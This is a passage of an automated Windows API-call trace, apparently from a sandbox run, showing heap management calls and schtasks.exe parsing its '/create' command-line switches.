(hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db3e0) returned 1 [0120.615] GetProcessHeap () returned 0x286ac7d0000 [0120.615] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db3e0) returned 0x20 [0120.615] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db3e0) returned 1 [0120.615] GetProcessHeap () returned 0x286ac7d0000 [0120.615] GetProcessHeap () returned 0x286ac7d0000 [0120.615] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7daae0) returned 1 [0120.615] GetProcessHeap () returned 0x286ac7d0000 [0120.616] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7daae0) returned 0x14 [0120.616] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7daae0) returned 1 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db6e0) returned 1 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db6e0) returned 0x20 [0120.616] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db6e0) returned 1 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3990) returned 1 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.616] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3990) returned 0x8 [0120.616] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3990) returned 1 [0120.616] GetProcessHeap () returned 0x286ac7d0000 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db770) returned 1 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db770) returned 0x20 [0120.617] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db770) returned 1 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dab20) returned 1 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dab20) returned 0x10 [0120.617] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dab20) returned 1 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db5c0) returned 1 [0120.617] GetProcessHeap () returned 0x286ac7d0000 [0120.617] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db5c0) returned 0x20 [0120.618] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db5c0) returned 1 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3b90) returned 1 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3b90) returned 0x8 [0120.618] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3b90) returned 1 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db560) returned 1 [0120.618] GetProcessHeap () returned 0x286ac7d0000 [0120.618] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db560) returned 0x20 [0120.619] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db560) returned 1 [0120.619] GetProcessHeap () returned 0x286ac7d0000 [0120.619] GetProcessHeap () returned 0x286ac7d0000 [0120.619] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3c40) returned 1 [0120.619] GetProcessHeap () returned 0x286ac7d0000 [0120.619] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3c40) returned 0x86 [0120.620] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3c40) returned 1 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db8c0) returned 1 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db8c0) returned 0x20 [0120.620] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db8c0) returned 1 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d3cd0) returned 1 [0120.620] GetProcessHeap () returned 0x286ac7d0000 [0120.620] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d3cd0) returned 0x8 [0120.621] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d3cd0) returned 1 [0120.621] GetProcessHeap () returned 0x286ac7d0000 [0120.621] GetProcessHeap () returned 0x286ac7d0000 [0120.621] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db530) returned 1 [0120.621] GetProcessHeap () returned 0x286ac7d0000 [0120.621] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db530) returned 0x20 [0120.621] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db530) returned 1 [0120.631] GetProcessHeap () returned 0x286ac7d0000 [0120.631] GetProcessHeap () returned 0x286ac7d0000 [0120.631] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7da800) returned 1 [0120.631] GetProcessHeap () returned 0x286ac7d0000 [0120.631] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7da800) returned 0x10 [0120.632] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7da800) returned 1 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db710) returned 1 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db710) returned 0x20 [0120.632] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db710) returned 1 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dbc90) returned 1 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.632] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dbc90) returned 0x6 [0120.632] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dbc90) returned 1 [0120.632] GetProcessHeap () returned 0x286ac7d0000 [0120.633] GetProcessHeap () returned 0x286ac7d0000 [0120.633] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7db8f0) returned 1 [0120.633] GetProcessHeap () returned 0x286ac7d0000 [0120.633] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7db8f0) returned 0x20 [0120.633] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7db8f0) returned 1 [0120.633] GetProcessHeap () returned 0x286ac7d0000 [0120.633] GetProcessHeap () returned 0x286ac7d0000 [0120.633] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7d7290) returned 1 [0120.633] GetProcessHeap () returned 0x286ac7d0000 [0120.633] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7d7290) returned 0x18 [0120.633] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7d7290) returned 1 [0120.634] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.634] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0120.634] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0120.634] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0120.634] RtlVerifyVersionInfo (VersionInfo=0xb17668c770, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0120.634] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.634] lstrlenW (lpString="create") returned 6 [0120.634] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0120.634] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.634] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.634] lstrlenW (lpString="create") returned 6 [0120.634] GetProcessHeap () returned 0x286ac7d0000 [0120.634] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db9b0 [0120.634] GetProcessHeap () returned 0x286ac7d0000 [0120.634] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7da980 [0120.634] _memicmp (_Buf1=0x286ac7da980, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.634] GetProcessHeap () returned 0x286ac7d0000 [0120.634] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x16) returned 0x286ac7dab20 [0120.635] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.635] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.635] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x286ac7d9a50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0120.635] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xb17668c8c8 | out: lpdwHandle=0xb17668c8c8) returned 0x76c [0120.635] GetProcessHeap () returned 0x286ac7d0000 [0120.635] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x776) returned 0x286ac7dbc90 [0120.635] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x286ac7dbc90 | out: lpData=0x286ac7dbc90) returned 1 [0120.636] VerQueryValueW (in: pBlock=0x286ac7dbc90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb17668c860, puLen=0xb17668c8c0 | out: lplpBuffer=0xb17668c860*=0x286ac7dc040, puLen=0xb17668c8c0) returned 1 [0120.636] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.636] _vsnwprintf (in: _Buffer=0x286ac7d9a50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xb17668c838 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0120.636] VerQueryValueW (in: pBlock=0x286ac7dbc90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xb17668c850, puLen=0xb17668c8b8 | out: lplpBuffer=0xb17668c850*=0x286ac7dbe70, puLen=0xb17668c8b8) returned 1 [0120.636] lstrlenW (lpString="schtasks.exe") returned 12 [0120.636] lstrlenW (lpString="schtasks.exe") returned 12 [0120.636] lstrlenW (lpString=".EXE") returned 4 [0120.636] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0120.636] lstrlenW (lpString="schtasks.exe") returned 12 [0120.636] lstrlenW (lpString=".EXE") returned 4 [0120.636] lstrlenW (lpString="schtasks") returned 8 [0120.636] lstrlenW (lpString="/create") returned 7 [0120.636] _memicmp (_Buf1=0x286ac7d6970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.636] _vsnwprintf (in: _Buffer=0x286ac7d9a50, _BufferCount=0x19, _Format="%s %s", _ArgList=0xb17668c838 | out: _Buffer="schtasks /create") returned 16 [0120.636] _memicmp (_Buf1=0x286ac7d4330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.636] GetProcessHeap () returned 0x286ac7d0000 [0120.636] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x20) returned 0x286ac7db830 [0120.636] _memicmp (_Buf1=0x286ac7d4400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.636] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x286ac7dba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0120.636] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0120.636] GetProcessHeap () returned 0x286ac7d0000 [0120.636] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x30) returned 0x286ac7d3970 [0120.636] _vsnwprintf (in: _Buffer=0x286ac7d4350, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xb17668c838 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0120.636] GetProcessHeap () returned 0x286ac7d0000 [0120.637] GetProcessHeap () returned 0x286ac7d0000 [0120.637] HeapValidate (hHeap=0x286ac7d0000, dwFlags=0x0, lpMem=0x286ac7dbc90) returned 1 [0120.637] GetProcessHeap () returned 0x286ac7d0000 [0120.637] RtlSizeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, MemoryPointer=0x286ac7dbc90) returned 0x776 [0120.637] RtlFreeHeap (HeapHandle=0x286ac7d0000, Flags=0x0, BaseAddress=0x286ac7dbc90) returned 1 [0120.637] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="create") returned 6 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="?") returned 1 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="s") returned 1 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="u") returned 1 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="p") returned 1 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="ru") returned 2 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.640] lstrlenW (lpString="rp") returned 2 [0120.640] GetThreadLocale () returned 0x409 [0120.640] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="sc") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="mo") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="d") returned 1 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="m") returned 1 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="i") returned 1 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="tn") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="tr") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="st") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.641] lstrlenW (lpString="sd") returned 2 [0120.641] GetThreadLocale () returned 0x409 [0120.641] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="ed") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="it") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="et") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="k") returned 1 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="du") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="ri") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="z") returned 1 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="f") returned 1 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="v1") returned 2 [0120.642] GetThreadLocale () returned 0x409 [0120.642] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.642] lstrlenW (lpString="xml") returned 3 [0120.643] GetThreadLocale () returned 0x409 [0120.643] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.643] lstrlenW (lpString="ec") returned 2 [0120.643] GetThreadLocale () returned 0x409 [0120.643] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.643] lstrlenW (lpString="rl") returned 2 [0120.643] GetThreadLocale () returned 0x409 [0120.643] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.643] lstrlenW (lpString="delay") returned 5 [0120.643] GetThreadLocale () returned 0x409 [0120.643] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.643] lstrlenW (lpString="np") returned 2 [0120.643] GetThreadLocale () returned 0x409 [0120.643] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0120.643] lstrlenW (lpString="hresult") returned 7 [0120.643] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.643] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.643] lstrlenW (lpString="/create") returned 7 [0120.643] lstrlenW (lpString="-/") returned 2 [0120.643] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.643] lstrlenW (lpString="create") returned 6 [0120.643] lstrlenW (lpString="create") returned 6 [0120.643] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.643] lstrlenW (lpString="create") returned 6 [0120.643] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.643] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.643] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.644] lstrlenW (lpString="|create|") returned 8 [0120.644] lstrlenW (lpString="|create|") returned 8 [0120.644] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0120.644] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.644] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.644] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.644] lstrlenW (lpString="/tn") returned 3 [0120.644] lstrlenW (lpString="-/") returned 2 [0120.644] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.644] lstrlenW (lpString="create") returned 6 [0120.644] lstrlenW (lpString="create") returned 6 [0120.644] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.644] lstrlenW (lpString="tn") returned 2 [0120.644] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.644] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.644] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.644] lstrlenW (lpString="|create|") returned 8 [0120.644] lstrlenW (lpString="|tn|") returned 4 [0120.644] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0120.644] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.644] lstrlenW (lpString="?") returned 1 [0120.644] lstrlenW (lpString="?") returned 1 [0120.644] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.644] lstrlenW (lpString="tn") returned 2 [0120.644] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|?|") returned 3 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.645] lstrlenW (lpString="|?|") returned 3 [0120.645] lstrlenW (lpString="|tn|") returned 4 [0120.645] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.645] lstrlenW (lpString="s") returned 1 [0120.645] lstrlenW (lpString="s") returned 1 [0120.645] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.645] lstrlenW (lpString="tn") returned 2 [0120.645] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|s|") returned 3 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.645] lstrlenW (lpString="|s|") returned 3 [0120.645] lstrlenW (lpString="|tn|") returned 4 [0120.645] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.645] lstrlenW (lpString="u") returned 1 [0120.645] lstrlenW (lpString="u") returned 1 [0120.645] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.645] lstrlenW (lpString="tn") returned 2 [0120.645] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|u|") returned 3 [0120.645] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.645] lstrlenW (lpString="|u|") returned 3 [0120.645] lstrlenW (lpString="|tn|") returned 4 [0120.645] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.646] lstrlenW (lpString="p") returned 1 [0120.646] lstrlenW (lpString="p") returned 1 [0120.646] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.646] lstrlenW (lpString="tn") returned 2 [0120.646] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.646] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|p|") returned 3 [0120.646] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.646] lstrlenW (lpString="|p|") returned 3 [0120.646] lstrlenW (lpString="|tn|") returned 4 [0120.646] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.646] lstrlenW (lpString="ru") returned 2 [0120.646] lstrlenW (lpString="ru") returned 2 [0120.646] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.646] lstrlenW (lpString="tn") returned 2 [0120.646] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.646] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, 